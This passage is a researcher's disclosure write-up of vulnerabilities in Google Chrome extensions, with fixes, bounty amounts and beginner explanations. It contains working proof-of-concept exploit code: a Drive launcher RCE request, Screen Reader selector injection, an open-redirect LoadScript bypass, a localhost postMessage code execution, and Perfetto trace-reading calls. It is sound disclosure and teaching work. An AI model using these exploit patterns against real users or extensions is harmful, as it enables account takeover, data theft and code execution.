The recurring mistake is trusting the sender. Several extensions accept messages from any page that can reach them, either because externally_connectable lists origins that anyone can host content on (https://storage.googleapis.com/*, or a pattern that matches insecure http:// subdomains), because a postMessage listener never checks event.origin, or because a runtime.onMessage handler never verifies who sent the message. In the Screen Reader case the origin check is missing and the command arguments are concatenated into a selector, so selector injection turns a click command into arbitrary DOM interaction. In the Secure Shell case the problem is exposure: html/nassh.html is a web accessible resource that any page can embed, so UI redress against Crosh was possible. In the Perfetto case the extension is deliberately privileged (ExtensionIsTrusted) and its trace filtering is not perfect, so any origin allowed to talk to it inherits access to data that includes URLs and response headers with access tokens. In the storage cases, chrome.storage is readable from the content script's process, so a compromised renderer reads whatever was stored there, including folder IDs, visited URLs and tokens.
Existing defences did not stop these because site isolation does not separate a content script from the page in the same process, CSP blocks script but not CSS, and origin allowlists are only as strong as the weakest origin on them. Where the write-up notes a downgrade (Tag Assistant Legacy), the reason is that the attack needs a compromised renderer.
Impact
The impacts, as stated for each finding:
- Application Launcher for Drive: RCE on the victim via a VBS script, reachable from any Google subdomain including insecure
http://ones, or from a browser extension or XSS on any Google subdomain. No Mark Of The Web is set on the opened file. - Perfetto UI: an attacker page on storage.googleapis.com can record and read browser traces containing Chrome logs, IPC flows, network logs and over 150 categories, with leaked URLs and response headers including access tokens from Authorization headers.
- Screen Reader: a page with a reference to any cross-origin page can click elements on it, bypassing SOP and enabling clickjacking even on pages with framing protections (except pages with COOP), for example granting a sensitive OAuth permission without the user's knowledge.
- Tag Assistant Legacy: a compromised renderer can bypass the same origin policy and leak visited URLs, which may contain sensitive data such as an access_token.
- Coding with Chrome: XSS on localhost, which may be trusted by applications since it refers to the user's local machine.
- Secure Shell (URL spoof): fullscreen without user interaction, including while the user is away, and fullscreen exit commands not working.
- Form Troubleshooter: a page can get the document tree of any other page it has a reference to, for pages without COOP (via
window.open) or that do not prevent being framed. - Tag Assistant for Conversions Beta: a compromised renderer can leak visited URLs, which may contain sensitive data such as an access_token, and other data such as cookie names.
- Long Descriptions in Context Menu: a new tab with an arbitrary URL and
sec-fetch-site: none, which can be chained, for example to read local files with a renderer exploit or via XSLeaks, or to bypass web accessible resources navigation restrictions. Google's rationale notes the multiple user interactions and the visible download reduce the likelihood of a successful attack. - Gerrit FE Dev Helper: with a compromised renderer and the extension enabled, the site can bypass the same-origin policy.
- AMP Readiness Tool: a compromised renderer can bypass the same origin policy.
- Web Vitals: a compromised renderer can leak visited URLs, which may contain sensitive data such as an access_token.
- Chrome Reporting Extension: a compromised renderer can leak visited URLs (origin + pathname), enough to leak unlisted Google Doc IDs.
- Save to Google Drive: a compromised renderer can leak the user's folder if it is set to "with a link" and change it to an attacker controlled value, and can leak the source code of a page to that folder; a spoofed context menu can trick the user into leaking an unexpected URL.
- Secure Shell on ChromeOS: with user interaction that can be disguised as part of a game, an attacker can run
cat /etc/passwdor an arbitrary Linux command, open a Linux shell in the Termina VM or a container, run arbitrary containers, open arbitrary URLs or files bypassing the popup blocker and file URL restrictions, read and write known directories within MyFiles such as Downloads, capture microphone input (with a notification that is hidden after a few seconds and a Settings toggle that cannot revoke it), and set a WireGuard configuration. Camera access is unconfirmed but seems likely on ARC, PluginVM and Borealis VMs. - Secure Shell content injection: CSS injection in the extension page; JS is prevented by CSP.
- Proton Pass: a renderer bug can leak all the user's passwords in unencrypted form.
- Google Optimize: UXSS on a site of the attacker's choosing, running when the user clicks the blue edit button, or without that interaction if the renderer is compromised.
- Screenwise Meter: login CSRF leaking browser activity, a WAR bypass, and an auth token leaked via
chrome.[redacted]. - Mandiant Advantage:
slackWebhook,teamsWebhookandtokenleaked to a compromised renderer.
Fix
What was changed, per finding:
- Application Launcher for Drive:
externally_connectablechanged to onlyhttps://docs.google.com/*andhttps://drive.google.com/*. Browser extensions with<all_urls>can still get an RCE with it (WAI). The write-up suggests addinghttps://*.google.comtoruntime_blocked_hosts. - Perfetto UI:
https://storage.googleapis.com/removed fromexternally_connectable. - Screen Reader: the
clickNodeRefmethod removed. - Tag Assistant Legacy: fixed, downgraded as it needs a compromised renderer.
- Coding with Chrome: accepted, deprecated.
- Secure Shell URL spoof: repeatedly entering fullscreen was fixed by removing the opener reference; partly fixed, not rewarded.
- Form Troubleshooter: an origin check added.
- Tag Assistant for Conversions Beta: partly fixed.
- Long Descriptions in Context Menu: accepted, not rewarded; Google's rationale is quoted above.
- Gerrit FE Dev Helper: unverified fix.
- Web Vitals: fixed in the web-vitals-extension repository.
- Chrome Reporting Extension: accepted, not rewarded.
- Save to Google Drive: accepted, not rewarded; potential fixes are checking the content-type for an image and not including credentials unless the image is same-site (including redirects).
- Secure Shell on ChromeOS:
frame-ancestors 'self';added to the extension'scontent_security_policy. - Secure Shell content injection: fixed.
- Proton Pass: unverified fixes.
- Google Optimize: deprecated.
- Screenwise Meter and Mandiant Advantage: no fix stated.
Variants to test
- Grep every manifest for
externally_connectableentries pointing at origins anyone can host on, such ashttps://storage.googleapis.com/*,http://*.google.comor*://localhost/*. A positive result is a page you control on that origin that can open a port or send a message to the extension and get a meaningful response. - Grep for
postMessagelisteners in content scripts and check whetherevent.originis verified. A positive result is a cross-origin window you opened responding to your message with data from its document. - Grep for
runtime.onMessagehandlers that act on commands without checkingsender. A positive result is a privileged action (export, click, navigation) triggered from a page you control. - Look for command arguments concatenated into selectors or HTML, as with
clickNodeRef. A positive result is a selector or markup fragment of your choosing reaching the DOM query orinnerHTML. - Check
web_accessible_resourcesfor pages that can be framed and that expose privileged UI such as a shell. A positive result is your page embedding the resource and driving it with keyboard or clipboard input. - Check
chrome.[redacted]andchrome.storage.synccontents from a content script context. A positive result is URLs, tokens, folder IDs or webhook URLs readable from a page you control. - Check
LoadScript-style messages for origin allowlists that can be bypassed with open redirects, and test which content types are accepted. A positive result is your script loading from an origin outside the allowlist. - Check
openas-style URL parameters that change window state. A positive result is the tab entering fullscreen without a user gesture. - Check
args-style base64 parameters applied as attributes. A positive result is CSS you control being applied inside the extension page even though script is blocked by CSP.
Credits
Alesandro Ortiz for help with the Secure Shell report and finding the Limited URL Spoof; Thomas Orlita for help with reports and the write-up; Missoum Said for finding the "Save to Drive" SOP bypass, the "Tag Assistant Legacy" URL leak, the localhost XSS, the Screenwise Meter bugs and the Google Optimize UXSS.
What happened, in plain words
A security researcher spent time looking at browser extensions made by Google. An extension is a small program you add to Chrome, the Google browser, to give it extra abilities: a password manager, a screen reader, a tool that records what the browser is doing. Google paid the researcher a grant of $500 to support this kind of work, and then paid rewards for individual bugs that were confirmed. The total shown in the title of the write-up is $18,833.70, but the researcher is careful to say that this figure does not include bugs found by other people, while it does include a bug in Proton Pass, which is not a Google extension at all. So the number may not match the money actually received.
A "bug" here means a mistake in how an extension is built that lets someone else do something they should not be able to do. Most of the mistakes in this write-up are the same kind: an extension listens for messages, and it does not properly check who sent the message. Imagine a receptionist who takes instructions from anyone who walks in, without asking for a name badge. If you can get a message to that receptionist, you can make the extension do things on your behalf.
The researcher also explains that Google has since published rules for paying for this kind of finding, under the name Chrome Extension VRP (Vulnerability Reward Program).
The background ideas you need
Before the individual bugs, the write-up lists a set of facts about how extensions work. These are worth understanding because every finding later depends on them.
- Content scripts are pieces of code that an extension injects into a website you visit. They run inside the page, so they can read and change what is on the page.
- Background scripts, or in newer extensions service workers, are code that runs separately, in the background, not tied to any one website. They are the part that holds the extension's privileges.
- A content script lives in an isolated world: a separate little bubble inside the page, so the page's own JavaScript cannot directly touch the content script's variables. But the bubble sits in the same process as the page. A process is the chunk of memory the computer sets aside to run a program. If an attacker can break out of the page and into that process (through a CPU flaw such as Meltdown or Spectre, or through a "compromised renderer", which means the part of the browser that draws pages has been taken over), the attacker can reach the content script. Some extensions let an attacker use this to get around site isolation, the browser feature that is supposed to keep different websites in separate processes.
- Background scripts that use
XMLHttpRequest(an older way for JavaScript to fetch data) will send cookies as ifxhr.withCredentials = truehad been set, even when it is false. A cookie is a small piece of data a website stores in your browser so it can recognise you on the next request; it is often the thing that keeps you logged in. So the background script can act as you, and it can read whatever the extension has access to. chrome.storageis the extension's own storage area, and it cannot be trusted. The write-up links to a Chromium issue about a function calledchrome.storage.setAccessLevel, which is about controlling who can read that storage.- CSP, the Content Security Policy, is a rule a page or extension sets to say which scripts are allowed to run. It blocks some cross-site scripting (XSS), which is when an attacker gets their own JavaScript to run inside someone else's page.
MessageSender.origindoes not exist on Firefox, the other major browser, so on Firefox you may need to look at the URL instead to know who sent a message.- A compromised renderer that never runs a content script should not be able to fake a call to
runtime.sendMessage, the function extensions use to send messages to themselves. - WAR stands for web accessible resources: files inside an extension that any web page is allowed to load. Whether a page may load one is decided by who started the request, not by whether the page is allowed to be embedded. That is different from embed protection, such as a CSP rule that says a page may not be put in a frame.
- A useful website for reading the source code of an extension is crxviewer, at robwu.nl/crxviewer.
For more background the write-up points to an article called "Deep Dive into Site Isolation (Part 2)", a chromium-extensions mailing list introduction, an attempt to enforce site isolation for SponsorBlock with its third-party player support, and an article on the Cloudflare Workers security model.
How the search was set up
The researcher did not test extensions one by one by hand. Instead they built a local copy of the source code of many Google extensions, so they could search through all of it at once. The steps were:
- Create a directory (a folder) that holds automatically downloaded and tidied-up source code from Google-owned extensions in the Chrome Web Store, the official extension shop.
- Search for keywords such as
.onMessage,.onConnect,.onRequestand.onMessageExternal, and read the code that handles messages sent to background pages. These names are the places where an extension decides what to do when a message arrives, so they are exactly where a missing check would be. - Make sure nothing sensitive is stored in
chrome.storage. It can be read withchrome.[redacted].get(null, console.log);andchrome.storage.sync.get(null, console.log);. Thenullmeans "give me everything", andconsole.logprints the result to the browser's developer console. - Search
externally_connectableandcontent_scriptsfor unsafe origins. An origin is the combination of scheme, host and port, for examplehttps://example.com; it is how the browser decides which site is which.externally_connectableis the manifest setting that lists which websites may talk to the extension. Unsafe examples arehttp://*.google.com(plain, unencrypted http, on any Google subdomain) andhttps://storage.googleapis.com(a service where anyone can host files). - Check for a message listener that can be reached with
postMessage, the browser function one page uses to send a message to another window, and verify which senders are allowed. - Search for all the places where XSS can happen, called sinks:
scripting.executeScript,document.write,innerHTML =,location.href =,open(). A sink is a place where data gets turned into code or into a new page. - Run CodeQL, a tool that analyses source code automatically for patterns that look dangerous.
- Check
web_accessible_resourcesfor clickjacking. Clickjacking is tricking a user into clicking something they cannot see, for example by putting an invisible frame over a button. Scripts loaded from web accessible resources also bypass the site's CSP.
The bulk download is done with a shell loop. A shell is the text-based command line of the computer, and a loop repeats the same commands once for each item in a list:
rm -rf extensions/*
sudo apt install unzip
npm -g install prettier
# Downloads every extension ID in extensions.txt
for extensionID in $(cat extensions.txt)
do
wget "https://clients2.google.com/service/update2/crx?response=redirect&os=cros&arch=x86-64&os_arch=x86-64&nacl_arch=x86-64&prod=chromiumcrx&prodchannel=unknown&prodversion=[redacted]&acceptformat=crx2,crx3&x=id%3D$extensionID%26uc" -O $extensionID.zip
unzip $extensionID.zip -d extensions/$extensionID
rm $extensionID.zip
chmod -R 777 extensions/$extensionID
prettier --write extensions/$extensionID
done
rm -rf extensions/*deletes everything already inside theextensionsfolder, so the run starts clean.rmmeans remove,-rfmeans force it and go into subfolders.sudo apt install unzipinstalls theunzipprogram, which opens.ziparchives.sudoruns the command with administrator rights.npm -g install prettierinstalls Prettier, a tool that reformats code so it is consistently laid out and easier to read.-gmeans install it for the whole machine.- The
for ... do ... doneblock repeats the commands inside it once for every extension ID listed in the fileextensions.txt. wget "..." -O $extensionID.zipdownloads a file from the Chrome Web Store update service. The long URL asks the store for the extension package (a.crxfile) with the given ID, for a ChromeOS build.-Osays where to save it.unzip $extensionID.zip -d extensions/$extensionIDunpacks the archive into its own folder.rm $extensionID.zipdeletes the downloaded archive now that it is unpacked.chmod -R 777 extensions/$extensionIDmakes every file in the folder readable and writable by everyone, which avoids permission problems later.-Rmeans do it recursively, through all subfolders.prettier --write extensions/$extensionIDreformats the code in place.
The file extensions.txt may include extensions that are not considered official Google apps. It is a long list of extension IDs, the short strings that identify each extension in the store. Among them are the ones discussed below: lmjegmlicamnimmfhcmpkclmigmmcbeh (Application Launcher for Drive), lfmkphfpdbjijhpomgecfikhfohaoine (Perfetto UI), kgejglhpjiefppelpmljglcjbhoiplfn (Screen Reader), kejbdjndbnbjgmefkgdddjlbokphdefk (Tag Assistant Legacy), iodihamcpbpeioajjeobimgagajmlibd (Secure Shell), lpjhcgjbicfdoijennopbjooigfipfjh (Form Troubleshooter), llpfnmnallbompdmklfkcibfpcfpncdd (Tag Assistant for Conversions Beta), ohbmencljkleiedahijfkagnmmhbilgp (Long Descriptions in Context Menu), jimgomcnodkialnpmienbomamgomglkd (Gerrit FE Dev Helper), fadclbipdhchagpdkjfcpippejnekimg (AMP Readiness Tool), ahfhijdlegdabablpippeagghigmibma (Web Vitals), emahakmocgideepebncgnmlmliepgpgb (Chrome Reporting Extension), gmbmikajjgmnabiglmofipeabaddhgne (Save to Google Drive), ghmbeldphafepmbegfdlkpapadhbakde (Proton Pass), bhdplaindhdkiflmbfbciehdccfhegci (Google Optimize), hbmclfdibpffglligfnnppjocdlhgjbb (Screenwise Meter) and aghmgfkjfbkcockededacdhemkpgdcko (Mandiant Advantage).
Finding it
The findings below came out of that sweep. Each one is a different extension and a different mistake, but the recurring theme is trust in message senders and in origins.
RCE in Application Launcher For Drive (Fixed, Awarded $3133.70)
The extension is Application Launcher for Drive (lmjegmlicamnimmfhcmpkclmigmmcbeh), which works together with Drive for desktop, the program that syncs your Google Drive files to your computer. RCE means remote code execution: someone else gets your computer to run their code. The lax rule that allows insecure origins is:
"externally_connectable": { "matches": [ "://.google.com/*" ] }
This is a fragment of the extension's manifest, the settings file that describes what the extension may do. externally_connectable lists the websites allowed to send messages to the extension. The report calls this rule lax because it allows insecure origins, including plain http:// addresses, which are not encrypted.
Perfetto UI leaks sensitive browser logs (Fixed, Awarded $5000)
Perfetto UI (lfmkphfpdbjijhpomgecfikhfohaoine) is a Chrome extension by Google for recording browser traces. A trace is a detailed recording of what the browser did, used for performance analysis. The extension communicates with ui.perfetto.dev to record the browser traces, and it is particularly powerful because it is hardcoded to receive special treatment from Chrome (ExtensionIsTrusted). However, the manifest shows it can also connect to storage.googleapis.com, a domain used for storing arbitrary Google Cloud buckets that can be created by anyone:
"externally_connectable": {
"matches": [
"*://localhost/*",
"*://[redacted]/*",
"https://*.perfetto.dev/*",
"https://storage.googleapis.com/*"
]
}
This is the list of origins allowed to talk to the extension. localhost and [redacted] both refer to the loopback address, the machine itself. *.perfetto.dev means any subdomain of perfetto.dev. https://storage.googleapis.com/* means any page hosted on Google Cloud Storage, and since anyone can create a bucket there, that means anyone at all.
SOP bypass using the Screen Reader extension (Fixed, Awarded $5000)
Screen Reader (kgejglhpjiefppelpmljglcjbhoiplfn) is an accessibility extension by Google whose source code is available in the chromium repository. Accessibility software helps people with disabilities use the computer; this one reads pages aloud. SOP is the same-origin policy, the browser rule that stops one website from reading data belonging to another website. A "bypass" means getting around that rule. The extension exposes various commands that can be called. The message listeners do not check the origin of the incoming message. One of these commands is clickNodeRef, which, with the help of selector injection, can be used to click any element in the DOM using an arbitrary selector. The DOM is the browser's internal tree of everything on the page, and a selector is a pattern used to pick elements out of it.
SOP bypass using Tag Assistant Legacy (Fixed, Awarded $5000)
Tag Assistant Legacy (kejbdjndbnbjgmefkgdddjlbokphdefk) was downgraded as it needs a compromised renderer; maybe CPU bugs work as well. Tag Assistant is a tool for checking whether tracking tags on a website are set up correctly.
Leaking URLs using Tag Assistant Legacy extension (Fixed, Awarded $6267.4)
The same extension, a second issue: recorded issues and status messages expose the URLs of visited tabs. A URL is the address of a page, and it can contain private information, for example a search term or a token.
XSS on [redacted]:8090 (Accepted, Deprecated)
Coding with Chrome (becloognjehhioodmnimnehjcibkloed) hosts user controlled code on localhost for isolation, but it does not verify the sender of the messages or use a null origin. The report says the extension does not verify the sender of the messages or use a null origin.
Limited URL Spoof via the Secure Shell extension (Partly Fixed, Not rewarded)
Secure Shell (iodihamcpbpeioajjeobimgagajmlibd) is an extension that gives you a terminal, a text window where you type commands, and lets you connect to other computers over SSH, a secure remote login protocol. It exposes html/nassh.html as a web accessible resource, and the openas parameter can put the current tab into fullscreen without user interaction. A URL spoof here means making the browser show something in a state the user did not ask for.
SOP bypass using the Form Troubleshooter extension (Fixed, Not an official google app)
Form Troubleshooter (lpjhcgjbicfdoijennopbjooigfipfjh) is a project from Google Chrome Labs. It adds a content script to all pages which responds back with the DOM tree of the current document, and it accepts messages from any page that has a reference to the window. A reference to a window is what you get when your page opens another page with window.open, or when it puts another page in a frame.
URLs leak in Tag Assistant for Conversions Beta (Partly Fixed, Unlikely user interaction)
Tag Assistant for Conversions Beta (llpfnmnallbompdmklfkcibfpcfpncdd) leaks tab URLs through its message API. An API is a set of functions one program offers to another; here it is the set of messages the extension understands.
Long Descriptions in Context Menu
"Long Descriptions in Context Menu" (ohbmencljkleiedahijfkagnmmhbilgp) is an accessibility extension by Google. It adds a context menu item which opens a new tab to a URL provided by the website, with no restrictions on what the URL can be. The context menu is the menu that appears when you right-click.
UXSS using the Gerrit FE Dev Helper with a compromised renderer (Not an official Google app)
Gerrit FE Dev Helper (jimgomcnodkialnpmienbomamgomglkd) is an extension by Google intended for frontend Gerrit developers. Gerrit is a code review tool. UXSS means universal cross-site scripting: an XSS that runs in the context of any site, not just the attacker's own. Its stored rules can inject JavaScript into pages.
AMP Readiness Tool (Not an official Google app)
AMP Readiness Tool (fadclbipdhchagpdkjfcpippejnekimg) responds to a get_apps message with HTML.
URLs leak in Web Vitals (Fixed, Not an official google app but labeled as one on web.dev)
Web Vitals (ahfhijdlegdabablpippeagghigmibma) stores visited locations in chrome.[redacted]. ChromeVox has a similar issue which never got fixed.
Site usage data leak in Chrome Reporting Extension (Accepted, Not rewarded)
Chrome Reporting Extension (emahakmocgideepebncgnmlmliepgpgb) stores active sites in chrome.[redacted]. This extension requires setup to work: create DWORD report_user_browsing_data with the value of 1 in HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\3rdparty\extensions\emahakmocgideepebncgnmlmliepgpgb\Policy. A DWORD is a Windows registry value type that holds a number, and the registry is the Windows settings database.
SOP bypass with save to drive extension (Accepted, Not rewarded)
Save to Google Drive (gmbmikajjgmnabiglmofipeabaddhgne) stores the folder ID of where to store files in chrome.storage.sync. chrome.storage.sync is the part of extension storage that Chrome copies between the user's devices.
ChromeOS RCE via the Secure Shell extension (Fixed, Unlikely user interaction)
Secure Shell again, this time on ChromeOS, Google's operating system for Chromebooks: the extension exposes html/nassh.html as a web accessible resource, which can be used to access Crosh (the ChromeOS shell) and can be embedded by any webpage without restrictions.
Content injection / CSP-prevented XSS in the Secure Shell extension (Fixed)
The mosh_window.html page takes a base64 args parameter and applies it as attributes of an embed tag. Base64 is a way of writing arbitrary data using only letters, digits and a few symbols, so it can travel safely inside a URL. JS is prevented by CSP, but CSS is not. CSS is the language that controls how a page looks.
Leaking passwords from Proton Pass (Awarded $200, Not a google app)
Proton Pass (ghmbeldphafepmbegfdlkpapadhbakde) is a password manager, a program that stores your passwords so you do not have to remember them. It does not verify the sender of the EXPORT_REQUEST message, a message that asks the extension to hand over its stored data.
UXSS by Google Optimize extension (Deprecated, Awarded $500)
Google Optimize (bhdplaindhdkiflmbfbciehdccfhegci) is a tool for testing changes to a website. It has a "Global Javascript" feature that can be pointed at a site of the attacker's choosing.
Screenwise Meter (Not a official google app)
Screenwise Meter (hbmclfdibpffglligfnnppjocdlhgjbb) has a login CSRF (leaking browser activity), a WAR bypass via chrome.runtime.sendMessage, and an auth token leaked via chrome.[redacted]. CSRF means cross-site request forgery: making the user's browser send a request the user did not intend. An auth token is a string that proves who you are, a bit like a temporary key.
Mandiant Advantage | Threat Intelligence (Not reported, part of Google Cloud)
Mandiant Advantage (aghmgfkjfbkcockededacdhemkpgdcko) leaks slackWebhook, teamsWebhook and token to a compromised renderer via chrome.[redacted]. A webhook is a URL that, when called, posts a message into a chat channel.
Dart Debug Extension (Out of scope)
Reported upstream in the dart-lang/webdev issue tracker. "Out of scope" means the bug did not qualify for a reward under the program's rules.
Exploitation
This section shows, for each finding, the actual code that demonstrates the problem.
RCE in Application Launcher For Drive
Run the following on any Google subdomain, including insecure http:// ones. The code runs a VBS script on the victim, resulting in RCE. VBS is VBScript, a scripting language on Windows:
let api = chrome.runtime.connect('lmjegmlicamnimmfhcmpkclmigmmcbeh', {
name: 'com.google.drive.nativeproxy'
});
let request =
'native_opener/v2/3/' +
btoa('["<VICTIM EMAIL>", "<SHARED FILE ID>","VkJTRmlsZQ",""]');
api.postMessage(request);
Line by line:
let api = chrome.runtime.connect(...)opens a connection to the extension with the given ID.chrome.runtimeis the part of the browser that extensions use to talk to each other.name: 'com.google.drive.nativeproxy'names the connection. This name refers to a "native proxy", a small helper program on the computer that the extension talks to so it can reach the desktop Drive program.let request = 'native_opener/v2/3/' + btoa(...)builds the text of the request.btoaencodes a string into base64, so the data can be sent as one piece of text.- The string inside
btoais a JSON array holding the victim's email, a shared file ID, a fixed value and an empty string. The email and file ID are placeholders in the write-up. api.postMessage(request)sends the request down the connection.
The attack scenario: an attacker on the same network, or a browser extension or XSS on any Google subdomain, can send messages to a proxy that opens whatever file they want shared in their Google Drive as long as it is synced; this could be used to run malware. No "Mark Of The Web" is set. The Mark of the Web is a marker Windows puts on files downloaded from the internet so it can warn you before running them; without it, a downloaded file looks local and trusted.
The demo consists of an extension and a video. It was fixed by changing externally_connectable to only https://docs.google.com/* and https://drive.google.com/*; browser extensions with <all_urls> can still get an RCE with it (WAI, meaning working as intended). The write-up suggests this could be fixed by adding https://*.google.com to runtime_blocked_hosts, as done in DomainProtect. The write-up suggests adding https://*.google.com to runtime_blocked_hosts, as done in DomainProtect.
Perfetto UI leaks sensitive browser logs
Anyone hosting a page on storage.googleapis.com can fully communicate with the extension to record and read browser traces. The traces contain info such as Chrome logs, IPC flows, network logs, and over 150 more categories. IPC means inter-process communication, the messages the browser's parts send to each other. Sensitive values from the logs are supposed to be stripped, but this filtering is not perfect and many sensitive values are leaked, such as URLs and response headers of Chrome traffic, which contain, for example, access tokens from the "Authorization" headers. A response header is extra information a web server sends back with its answer, and an Authorization header is where a token is usually placed.
Steps to reproduce:
- Install the Perfetto UI extension.
- Open an attacker page that's hosted in a Google Cloud Storage bucket.
- Enjoy.
The PoC (proof of concept, a demonstration that the bug is real) essentially loads a copy of the Perfetto UI frontend in an iframe, then configures it and clicks the Start button using JS. An iframe is a window inside a window, letting one page show another page inside itself. After 15s, the hidden iframe is revealed, showing the data that was recorded. The PoC page can access all of this data. To easily see the leaked data, convert the trace by clicking "Convert to .json" in the left menu.
This is an example of how the page can communicate with the extension:
port = chrome.runtime.connect('lfmkphfpdbjijhpomgecfikhfohaoine');
port.onMessage.addListener(console.log);
port.postMessage({method: 'GetCategories'});
Line by line:
port = chrome.runtime.connect('...')opens a connection to the Perfetto UI extension.port.onMessage.addListener(console.log)says: whenever a message arrives on this connection, print it to the console.console.logis the browser's way of printing a value for the developer to see.port.postMessage({method: 'GetCategories'})sends a request asking the extension for its list of categories, which is the first step of setting up a recording.
Attack scenario:
- An attacker sends a link to the page to a victim who has the Perfetto UI extension installed.
- Once the victim opens the link, the attacker's page will record and save the victim's browser logs (which contain the browser "netlog" with access tokens, among others).
This was fixed by removing https://storage.googleapis.com/ from externally_connectable.
SOP bypass using the Screen Reader extension
The clickNodeRef command, combined with selector injection, clicks any element in the DOM using an arbitrary selector:
channel = new MessageChannel();
win.postMessage('cvox.PortSetup', '*', [channel.port2]);
channel.port1.postMessage(
JSON.stringify({
cmd: 'clickNodeRef',
args: [{cvoxid: '"], ' + selector + ', *[x="'}]
})
);
Line by line:
channel = new MessageChannel()creates a private two-way pipe between two windows. Each end of the pipe is called a port.win.postMessage('cvox.PortSetup', '*', [channel.port2])sends a message to the other window,win, with the textcvox.PortSetup, and hands over one end of the pipe (channel.port2) as part of the message. The'*'means "any origin may receive this".channel.port1.postMessage(JSON.stringify({...}))sends a command down the other end of the pipe.JSON.stringifyturns a JavaScript object into text so it can be sent.cmd: 'clickNodeRef'is the command name: click the element that a reference points to.args: [{cvoxid: '"], ' + selector + ', *[x="'}]is the argument. The extension expects a value forcvoxidand builds a selector out of it. By putting"],and then the attacker's ownselectorand then, *[x=", the attacker closes the extension's own selector and inserts their own, so the extension ends up clicking whatever the attacker chose.
Therefore, a malicious page with a reference to any other cross-origin page can click elements on that page, bypassing the same-origin policy. This allows an easy and unlimited way of performing clickjacking on any web page, even those with framing protections, except pages with COOP. COOP is Cross-Origin-Opener-Policy, a header that stops another page from keeping a handle on your page. It can be used to perform actions on behalf of the user on other websites. The PoC shows a completely automated way of granting a sensitive OAuth permission without the user's knowledge. OAuth is the system where a website asks Google for permission to access your account, and granting a permission means clicking an Allow button.
Steps to reproduce:
- Open
https://vuln-chrome-vox-extension.websec.blog/poc.html. - Click in the page.
After a few seconds, you should see in https://myaccount.google.com/permissions that the PoC app has access to your Google account.
Apart from this vulnerability, there might be other possible security issues with this extension. For example, the following code does not sanitise user input; this could potentially lead to UXSS if it is exploited (the write-up notes it was not analysed yet, but also looks vulnerable). To sanitise means to clean data before using it, so that it cannot be interpreted as code:
var html = Msgs.getMsg('pdf_header', [filename, src + '#original']);
headerDiv.innerHTML = html;
Line by line:
var html = Msgs.getMsg('pdf_header', [...])builds a piece of HTML text from a message template, filling in a filename and a source address.headerDiv.innerHTML = htmlputs that text into the page as HTML.innerHTMLis a sink: if the text contains markup or script, the browser will treat it as such.
Attack scenario:
- The attacker sends a link to a victim who uses the Screen Reader accessibility extension.
- The victim opens the page and the attack takes place in the background.
- The attacker can now access the victim's account.
This was fixed by removing the clickNodeRef method.
SOP bypass using Tag Assistant Legacy
Downgraded as it needs a compromised renderer; maybe CPU bugs work as well.
chrome.runtime.sendMessage(
{message: 'LoadScript', url: 'http://[redacted]'},
console.log
);
Line by line:
chrome.runtime.sendMessage(...)sends a message to the extension's background code.{message: 'LoadScript', url: 'http://[redacted]'}asks the extension to load a script from the given URL.[redacted]is a private address on the local network, typically a home router.console.logis the function that prints the reply.
An alternative way: the new security check has a list of allowed origins, however there are open redirects. An open redirect is a link on a trusted site that forwards you to any address you name. This only worked for the application/javascript content type.
chrome.runtime.sendMessage(
{
message: 'LoadScript',
url: 'https://googleads.g.doubleclick.net/pcs/click?adurl=http://localhost:8000/x.js'
},
console.log
);
Line by line:
- The message is again
LoadScript, but the URL now points at an allowed Google advertising domain. - That URL contains a parameter
adurl=http://localhost:8000/x.js, which tells the advertising server to redirect to the attacker's own script on the local machine. - Because the first part of the URL is on the allowlist, the check passes, and the extension ends up loading the attacker's script.
Attack scenario: a compromised renderer can bypass the same origin policy.
Leaking URLs using Tag Assistant Legacy
Change the JS execution context to the Tag Assistant Legacy's content script, and execute. The execution context is which program's world the code runs in; here the attacker's code is running inside the extension's content script:
chrome.runtime.sendMessage(
{message: 'GetRecordedIssues', tabId: '<TabID>'},
(a) => {
console.log(a.statusInfos[0].page.url);
}
);
Line by line:
chrome.runtime.sendMessage(...)asks the extension for its recorded issues for a given tab.tabIdidentifies which tab;<TabID>is a placeholder.(a) => { ... }is the function that runs when the reply arrives;ais the reply.console.log(a.statusInfos[0].page.url)prints the URL of the first recorded status entry, which is the address of the page the user visited.
An alternative way (a different report):
let port = chrome.extension.connect({name: 'popup'});
port.onMessage.addListener((a) => {
console.log(a.url);
});
port.postMessage({message: 'Status', tabId: '<TabID>'});
Line by line:
chrome.extension.connect({name: 'popup'})opens a connection to the extension, naming itpopup.port.onMessage.addListener((a) => { console.log(a.url); })prints theurlfield of every message that arrives.port.postMessage({message: 'Status', tabId: '<TabID>'})asks for the status of a tab, which triggers a reply containing its URL.
Attack scenario: a compromised renderer can leak visited URLs, which may contain sensitive data, such as an access_token.
XSS on [redacted]:8090
For isolation the extension hosts user controlled code on localhost, however it does not verify the sender of the messages or use a null origin.
let x = window.open('http://[redacted]:8090/preview/untitled_phaser_blockly_file.html') window.addEventListener("message", a=> { console.log(a.data) x.postMessage({name: "__exec__", value:"alert(origin)"}, "*") }) setTimeout(()=> x.postMessage({name: "__handshake__", value:"1307"}, "*"), 500)
Line by line:
let x = window.open('http://[redacted]:8090/preview/...')opens the extension's preview page, which runs on the user's own machine at port 8090, and keeps a handle to it inx.window.addEventListener("message", a=> { ... })listens for messages coming back from that page.console.log(a.data)prints whatever the page sends.x.postMessage({name: "__exec__", value:"alert(origin)"}, "*")sends a message asking the page to execute code. The valuealert(origin)would pop up a box showing the page's origin, which proves code is running.setTimeout(()=> x.postMessage({name: "__handshake__", value:"1307"}, "*"), 500)waits 500 milliseconds and then sends a handshake message with the value1307, which the page expects before it will act.
Attack scenario: an attacker controlled website can get XSS on localhost, which may be trusted by applications since it refers to the user's local machine.
Limited URL Spoof via the Secure Shell extension
A page can load or embed chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/html/nassh.html?openas=fullscreen#crosh to make the current tab fullscreen without user interaction. The chrome-extension:// prefix is how a page addresses a file inside an installed extension. Impacts:
- Able to enter full screen while the user is away from their device (no fullscreen message would be seen).
- Able to make full screen exit commands not work.
The relevant code:
// Allow users to bookmark links that open as a window.
const openas = params.get('openas');
switch (openas) {
case 'window': {
// Delete the 'openas' string so we don't get into a loop. We want to
// preserve the rest of the query string when opening the window.
params.delete('openas');
const url = new URL(document.location.toString());
url.search = params.toString();
openNewWindow(url.href).then(() => globalThis.close);
return;
}
case 'fullscreen':
case 'maximized':
chrome.windows.getCurrent((win) => {
chrome.windows.update(win.id, {state: openas});
});
break;
}
Line by line:
